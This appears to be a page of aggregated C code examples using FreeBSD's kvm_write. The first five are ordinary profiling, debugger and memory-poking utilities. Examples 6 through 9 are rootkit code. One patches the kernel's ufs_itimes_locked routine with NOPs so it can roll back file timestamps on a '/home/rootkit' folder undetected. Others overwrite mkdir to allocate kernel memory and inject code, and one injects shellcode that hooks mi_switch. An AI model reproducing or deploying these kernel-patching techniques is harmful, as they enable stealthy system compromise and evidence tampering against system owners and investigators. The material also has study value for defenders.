Пример #1
0
/*
 * Enable or disable kernel profiling according to the state variable.
 */
void
setprof(struct kvmvars *kvp, int state)
{
	struct gmonparam *p = (struct gmonparam *)nl[N_GMONPARAM].n_value;
	size_t sz;
	int mib[3], oldstate;

	sz = sizeof(state);
	if (!kflag) {
		mib[0] = CTL_KERN;
		mib[1] = KERN_PROF;
		mib[2] = GPROF_STATE;
		if (sysctl(mib, 3, &oldstate, &sz, NULL, 0) < 0)
			goto bad;
		if (oldstate == state)
			return;
		(void)seteuid(0);
		if (sysctl(mib, 3, NULL, NULL, &state, sz) >= 0) {
			(void)seteuid(getuid());
			return;
		}
		(void)seteuid(getuid());
	} else if (kvm_write(kvp->kd, (u_long)&p->state, (void *)&state, sz)
	    == (ssize_t)sz)
		return;
bad:
	warnx("warning: cannot turn profiling %s",
	    state == GMON_PROF_OFF ? "off" : "on");
}
Пример #2
0
/*
 * Reset the kernel profiling date structures.
 */
void
reset(struct kvmvars *kvp)
{
	char *zbuf;
	u_long biggest;
	int mib[3];

	setprof(kvp, GMON_PROF_OFF);

	biggest = kvp->gpm.kcountsize;
	if (kvp->gpm.fromssize > biggest)
		biggest = kvp->gpm.fromssize;
	if (kvp->gpm.tossize > biggest)
		biggest = kvp->gpm.tossize;
	if ((zbuf = (char *)malloc(biggest)) == NULL)
		errx(12, "cannot allocate zbuf space");
	bzero(zbuf, biggest);
	if (kflag) {
		if (kvm_write(kvp->kd, (u_long)kvp->gpm.kcount, zbuf,
		    kvp->gpm.kcountsize) != (ssize_t)kvp->gpm.kcountsize)
			errx(13, "tickbuf zero: %s", kvm_geterr(kvp->kd));
		if (kvm_write(kvp->kd, (u_long)kvp->gpm.froms, zbuf,
		    kvp->gpm.fromssize) != (ssize_t)kvp->gpm.fromssize)
			errx(14, "froms zero: %s", kvm_geterr(kvp->kd));
		if (kvm_write(kvp->kd, (u_long)kvp->gpm.tos, zbuf,
		    kvp->gpm.tossize) != (ssize_t)kvp->gpm.tossize)
			errx(15, "tos zero: %s", kvm_geterr(kvp->kd));
		return;
	}
	(void)seteuid(0);
	mib[0] = CTL_KERN;
	mib[1] = KERN_PROF;
	mib[2] = GPROF_COUNT;
	if (sysctl(mib, 3, NULL, NULL, zbuf, kvp->gpm.kcountsize) < 0)
		err(13, "tickbuf zero");
	mib[2] = GPROF_FROMS;
	if (sysctl(mib, 3, NULL, NULL, zbuf, kvp->gpm.fromssize) < 0)
		err(14, "froms zero");
	mib[2] = GPROF_TOS;
	if (sysctl(mib, 3, NULL, NULL, zbuf, kvp->gpm.tossize) < 0)
		err(15, "tos zero");
	(void)seteuid(getuid());
	free(zbuf);
}
Пример #3
0
static int
kgdb_trgt_xfer_memory(CORE_ADDR memaddr, char *myaddr, int len, int write,
    struct mem_attrib *attrib, struct target_ops *target)
{
	struct target_ops *tb;

	if (kvm != NULL) {
		if (len == 0)
			return (0);
		if (!write)
			return (kvm_read(kvm, memaddr, myaddr, len));
		else
			return (kvm_write(kvm, memaddr, myaddr, len));
	}
	tb = find_target_beneath(target);
	return (tb->to_xfer_memory(memaddr, myaddr, len, write, attrib, tb));
}
Пример #4
0
ssize_t
tst_write(uintptr_t addr, void *buf, size_t nbytes)
{
	ssize_t e;
	ssize_t i;
	void *b;

	printf("kvm_write(%lx, [buf], %lu)\n", addr, nbytes);
	if ((e = kvm_write(cookie, addr, buf, nbytes)) != nbytes)
		printf("ERROR: kvm_write returned %ld instead of %lu\n",
		    e, nbytes);
	if ((b = malloc(nbytes)) == 0)
		printf("ERROR: malloc for readback failed\n");
	else {
		if ((i = kvm_read(cookie, addr, b, nbytes)) != nbytes)
			printf("ERROR: readback returned %ld\n", i);
		else if (memcmp(b, buf, nbytes))
			printf("ERROR: write check failed!\n");
		(void) free(b);
	}
	return (e);
}
Пример #5
0
int
main(int argc, char **argv)
{
	char errbuf[_POSIX2_LINE_MAX];
	kvm_t *kvm;
	unsigned long addr, width = 1, i;
	char *endptr, *endptr2;

	if (argc < 2)
		usage();

	errno = 0;
	addr = strtoul(argv[1], &endptr, 0);
	if (endptr == argv[1])
		errx(1, "no addr");
	if (errno != 0)
		err(1, "addr '%s'", argv[1]);
	switch (*endptr) {
	case 0:
		break;
	case '/':
		endptr++;
		width = strtoul(endptr, &endptr2, 0);
		if (endptr2 == endptr)
			errx(1, "no width");
		if (errno != 0)
			err(1, "width '%s'", endptr);
		break;
	default:
		errx(1, "invalid addr '%s'", argv[1]);
	}

	kvm = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
	if (kvm == NULL)
		errx(1, "%s", errbuf);

	if (argc < 3) {
		for (i = 0; i < width; i++) {
			char b;

			if (kvm_read(kvm, addr + i, &b, 1) != 1)
				errx(1, "%s", kvm_geterr(kvm));
			printf("%#0*lx %02x\n",
				(int)sizeof(addr) * 2, addr + i, b);
		}
	} else {
		if (argc < width + 2)
			errx(1, "too few values for width %ld", width);
		width = argc - 2;
		for (i = 0; i < width; i++) {
			long v;
			char b, bo;

			errno = 0;
			v = strtol(argv[2 + i], &endptr, 0);
			if (endptr == argv[2 + i] || *endptr != 0)
				errx(1, "invalid value '%s'", argv[2 + i]);
			if (errno != 0 || v < 0 || v > 256) {
				if (errno == 0) errno = ERANGE;
				errx(1, "value '%s'", argv[2 + i]);
			}
			b = v;

			if (kvm_read(kvm, addr + i, &bo, 1) != 1)
				errx(1, "%s", kvm_geterr(kvm));
			printf("%#0*lx %02x -> %02x\n",
			       (int)sizeof(addr) * 2, addr + i, bo, b);
			if (kvm_write(kvm, addr + i, &b, 1) != 1)
				errx(1, "%s", kvm_geterr(kvm));
		}
	}

	return 0;
}
Пример #6
0
int main(int argc, char ** argv) {

	int i, offset1, offset2; 
	char errbuf[_POSIX2_LINE_MAX];
	kvm_t *kd;

	struct nlist nl[] = { {NULL}, {NULL}, };
	unsigned char ufs_itimes_code[SIZE];

// The stat struct will hold the file stat which includes
// file modification times.

	struct stat sb;
	struct timeval time[2];

	kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);

	if (kd == NULL) {
		fprintf(stderr, "ERROR: %s\n", errbuf);
		exit(-1);
	}

// ufs_itimes_locked is the kernel routine that does the time
// updation in the inode. 

	nl[0].n_name = "ufs_itimes_locked";

	if (kvm_nlist(kd, nl) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	if (!nl[0].n_value) {
		fprintf(stderr, "ERROR: Symbol %s not found \n", nl[0].n_name);
		exit(-1);
	}

	if (kvm_read(kd, nl[0].n_value, ufs_itimes_code, SIZE) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

// The ufs_itimes_locked code is sucked into the ufs_itimes_code
// array. Then we search for the byte code patterns that 
// surround the DIP_SET macro's third occurrence. That will
// help get the offsets for the two points where nop code
// needs to be inserted.

	for (i = 0; i < SIZE - 2; i++) {
		if (ufs_itimes_code[i] == 0x89 &&
			ufs_itimes_code[i+1] == 0x42 &&
				ufs_itimes_code[i+2] == 0x30) {
					offset1 = i;
		}

		if (ufs_itimes_code[i] == 0x89 &&
			ufs_itimes_code[i+1] == 0x4a &&
				ufs_itimes_code[i+2] == 0x34) {
					offset2 = i;
		}
	}

// Now we stat the folder and then the results are loaded into the
// sb struct.

	if (stat("/home/rootkit", &sb) < 0) {
		fprintf(stderr, "STAT ERROR: %d\n", errno);
		exit(-1);
	}

// The access time and modified time are extracted from the
// sb struct and placed into the time array.
// This is needed to rollback the access and modification
// times.

	time[0].tv_sec = sb.st_atime;
	time[1].tv_sec = sb.st_mtime;

// Now the kvm_write calls below will write the nop code
// to the two offset locations. 
// This will nullify the code that will update the 
// inode change times.

	if (kvm_write(kd, nl[0].n_value + offset1, nop, 
		sizeof(nop) - 1) < 0) {
			fprintf(stderr, "First ERROR: %s\n", kvm_geterr(kd));
			exit(-1);
	}

	if (kvm_write(kd, nl[0].n_value + offset2, nop, 
		sizeof(nop) - 1) < 0) {
			fprintf(stderr, "Second ERROR: %s\n", kvm_geterr(kd));
			exit(-1);
	}
// Now we do the thing in the folder which will cause the time updation.
// But since the code has been nullified the time will be unchanged.
// I have code in timecheck.c program which stats a file and gets
// the time and prints it. 
	char string[] = "ls ./" T_NAME;

	system(string);

	
// The utimes call will update the times from the time array. 
// This will effectively "roll back" the time.
// The change times are unaffected because we patched the
// ufs_itimes_locked code.

	if (utimes("/home/rootkit", (struct timeval *)&time) < 0) {
		fprintf(stderr, "UTIMES ERROR: %d\n", errno);
		exit(-1);
	}

// Now the kvm_write will write back the code snippet to the place
// in ufs_itimes_locked where the nop code was written. This 
// removes the patch. 

	if (kvm_write(kd, nl[0].n_value + offset1, &ufs_itimes_code[offset1],
		sizeof(nop) - 1) < 0) {
			fprintf(stderr, "Third ERROR %s\n", kvm_geterr(kd));
			exit(-1);
	}

	if (kvm_write(kd, nl[0].n_value + offset2, &ufs_itimes_code[offset2],
		sizeof(nop) - 1) < 0) {
			fprintf(stderr, "Fourth ERROR %s\n", kvm_geterr(kd));
			exit(-1);
	}


	if (kvm_close(kd) < 0 ) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	exit(0);
}
Пример #7
0
int
main(int argc, char *argv[])
{
	int i, call_offset;
	char errbuf[_POSIX2_LINE_MAX];
	kvm_t *kd;
	struct nlist nl[] = { {NULL}, {NULL}, {NULL}, {NULL}, {NULL},
	    {NULL}, };
	unsigned char mkdir_code[sizeof(kmalloc)];
	unsigned long addr, size;

	/* Initialize kernel virtual memory access. */
	kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
	if (kd == NULL) {
		fprintf(stderr, "ERROR: %s\n", errbuf);
		exit(-1);
	}

	nl[0].n_name = "mkdir";
	nl[1].n_name = "M_TEMP";
	nl[2].n_name = "malloc";
	nl[3].n_name = "copyout";
	nl[4].n_name = "uprintf";

	/*
	 * Find the address of mkdir, M_TEMP, malloc, copyout,
	 * and uprintf.
	 */
	if (kvm_nlist(kd, nl) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	for (i = 0; i < 5; i++) {
		if (!nl[i].n_value) {
			fprintf(stderr, "ERROR: Symbol %s not found\n",
			    nl[i].n_name);
			exit(-1);
		}
	}

	/* Save sizeof(kmalloc) bytes of mkdir. */
	if (kvm_read(kd, nl[0].n_value, mkdir_code, sizeof(kmalloc)) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	/* Search through mkdir for call kern_mkdir. */
	for (i = 0; i < sizeof(kmalloc); i++) {
		if (mkdir_code[i] == 0xe8) {
			call_offset = i;
			break;
		}
	}

	/* Determine how much memory you need to allocate. */
	size = (unsigned long)sizeof(hello) + (unsigned long)call_offset +
	    (unsigned long)sizeof(jump);

	/*
	 * Patch the kmalloc function code to contain the correct addresses
	 * for M_TEMP, malloc, and copyout.
	 */
	*(unsigned long *)&kmalloc[10] = nl[1].n_value;
	*(unsigned long *)&kmalloc[34] = nl[2].n_value -
	    (nl[0].n_value + K_OFFSET_1);
	*(unsigned long *)&kmalloc[64] = nl[3].n_value -
	    (nl[0].n_value + K_OFFSET_2);

	/* Overwrite mkdir with kmalloc. */
	if (kvm_write(kd, nl[0].n_value, kmalloc, sizeof(kmalloc)) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	/* Allocate kernel memory. */
	syscall(136, size, &addr);

	/* Restore mkdir. */
	if (kvm_write(kd, nl[0].n_value, mkdir_code, sizeof(kmalloc)) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	/*
	 * Patch the "Hello, world!\n" function code to contain the
	 * correct addresses for the "Hello, world!\n" string and uprintf.
	 */
	*(unsigned long *)&hello[24] = addr;
	*(unsigned long *)&hello[29] = nl[4].n_value - (addr + H_OFFSET_1);

	/*
	 * Place the "Hello, world!\n" function code into the recently
	 * allocated kernel memory.
	 */
	if (kvm_write(kd, addr, hello, sizeof(hello)) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	/*
	 * Place all the mkdir code up to but not including call kern_mkdir
	 * after the "Hello, world!\n" function code.
	 */
	if (kvm_write(kd, addr + (unsigned long)sizeof(hello) - 1,
	    mkdir_code, call_offset) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	/*
	 * Patch the unconditional jump code to jump back to the call
	 * kern_mkdir statement within mkdir.
	 */
	*(unsigned long *)&jump[1] = nl[0].n_value +
	    (unsigned long)call_offset;

	/*
	 * Place the unconditional jump code into the recently allocated
	 * kernel memory, after the mkdir code.
	 */
	if (kvm_write(kd, addr + (unsigned long)sizeof(hello) - 1 +
	    (unsigned long)call_offset, jump, sizeof(jump)) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	/*
	 * Patch the unconditional jump code to jump to the start of the
	 * "Hello, world!\n" function code.
	 */
	*(unsigned long *)&jump[1] = addr + 0x0f;

	/*
	 * Overwrite the beginning of mkdir with the unconditional
	 * jump code.
	 */
	if (kvm_write(kd, nl[0].n_value, jump, sizeof(jump)) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	/* Close kd. */
	if (kvm_close(kd) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	exit(0);
}
Пример #8
0
int main(int argc, char **argv)
{
    int i;
    char errbuf[_POSIX2_LINE_MAX];
    kvm_t *kd;
    struct nlist n1[5] = {};
    unsigned char mkdir_code[sizeof(kmalloc)];
    unsigned long addr;

    if (argc != 2) {
        printf("Usage:\n%s <size>\n", argv[0]);
        exit(1);
    }

    kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
    if (!kd) {
        fprintf(stderr, "ERROR: %s\n", errbuf);
        exit(1);
    }

    n1[0].n_name = "mkdir";
    n1[1].n_name = "M_TEMP";
    n1[2].n_name = "malloc";
    n1[3].n_name = "copyout";

    if (kvm_nlist(kd, n1) < 0) {
        fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
        exit(1);
    }

    for (i = 0; i < 4; ++i) {
        if (!n1[i].n_value) {
            fprintf(stderr, "ERROR: Symbol %s not found.\n", n1[i].n_name);
            exit(1);
        }
    }

    *(unsigned long *)&kmalloc[10] = n1[1].n_value;
    *(unsigned long *)&kmalloc[34] = n1[2].n_value
        - (n1[0].n_value + KMALLOC_CALL_OFFSET_1);
    *(unsigned long *)&kmalloc[64] = n1[3].n_value
        - (n1[0].n_value + KMALLOC_CALL_OFFSET_2);

    if (kvm_read(kd, n1[0].n_value, mkdir_code, sizeof(mkdir_code)) < 0) {
        fprintf(stderr, "ERROR: %s\n.", kvm_geterr(kd));
        exit(1);
    }

    if (kvm_write(kd, n1[0].n_value, kmalloc, sizeof(kmalloc)) < 0) {
        fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
        exit(1);
    }

    syscall(136, (unsigned long)atoi(argv[1]), &addr);
    printf("Address of allocated kernel memory: 0x%x\n", addr);

    if (kvm_write(kd, n1[0].n_value, mkdir_code, sizeof(kmalloc)) < 0) {
        fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
        exit(1);
    }

    if (kvm_close(kd) < 0) {
        fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
        exit(1);
    }

    exit(0);
}
Пример #9
0
int main(int argc, char ** argv) {
	
	int i, call_offset , syscall_num;

	struct module_stat stat ;

	char errbuf[_POSIX2_LINE_MAX];

	kvm_t *kd;

	struct nlist nl[] = { {NULL}, {NULL}, {NULL}};

	unsigned char miswitch_code[100];

	unsigned long addr = 0, addr1 = 0, size;

	stat.version = sizeof(stat) ;
	modstat(modfind("kmalloc"), &stat);

	syscall_num = stat.data.intval;

	syscall(syscall_num, 100, &addr1);

	// This address addr1 is where we will store the original
	// version of the mi_switch code. This will be used
	// by the uninstall routine.

	printf("Address 1 is %0x \n", addr1);

	kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);

	if (kd == NULL) {
		fprintf(stderr, "ERROR: %s\n", errbuf);
		exit(-1);
	}

	nl[0].n_name = "printf";
	nl[1].n_name = "mi_switch";

	if (kvm_nlist(kd, nl) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	if (!nl[0].n_value) {
		fprintf(stderr, "ERROR: Symbol %s not found \n");
		exit(-1);
	}

	if (kvm_read(kd, nl[1].n_value, miswitch_code, 100) < 0 ) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	// We want to copy the start of the mi_switch code
	// into the array.
	// We pick a point somewhere near the start (the point
	// is defined by the 0x64 bytecode.

	for (i = 0; i < 100 ; i++) {
		if (miswitch_code[i] == 0x64) {
			call_offset = i;
			break;
		}
	}

	size = (unsigned long)sizeof(shellcode) + (unsigned long)call_offset +
		(unsigned long)sizeof(jump);

// This memory allocation is for copying the shellcode and the starting
// few bytes of mi_switch and the jmp code.

	syscall(syscall_num, size, &addr);

	printf("Call offset for kern_mkdir is %d\n", call_offset);

// The two patches below are for a) The first movl for the format string
// of the printf call and b) for the address of the printf call.

	*(unsigned long *)&shellcode[41] = addr;
	*(unsigned long *)&shellcode[50] = nl[0].n_value - (addr + H_OFFSET_1);

// Write shellcode

	if (kvm_write(kd, addr, shellcode, sizeof(shellcode)) < 0 ) { 
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

// Copy mi_switch to addr1 for later restore in uninstall routine.

	if (kvm_write(kd, addr1, miswitch_code, sizeof(miswitch_code)) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

// Now write the first few bytes of mi_switch after the shellcode.

	if (kvm_write(kd, addr + (unsigned long)sizeof(shellcode) - 1,
		miswitch_code, call_offset) < 0) {
			fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
			exit(-1);
	}

// First patch of jump to jump back to the point in mi_switch after the
// initial bytes that were copied to the shellcode.

	*(unsigned long *)&jump[1] = nl[1].n_value + (unsigned long)call_offset;

// Write the patched jump code after the mi_switch code.

	if (kvm_write(kd, addr + (unsigned long)sizeof(shellcode) - 1 +
		(unsigned long)call_offset, jump, sizeof(jump)) < 0) {
			fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
			exit(-1);
	}

// Second patch of jump to jump to the part of the shellcode after
// the initial data string. Data doesnt execute, ha ha.

	*(unsigned long *)&jump[1] = addr + 0x17;

// now write that jump code to the start of the mi_switch code.

	if (kvm_write(kd, nl[1].n_value , jump, sizeof(jump)) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}

	if (kvm_close(kd) < 0) {
		fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
		exit(-1);
	}


	exit(0);
}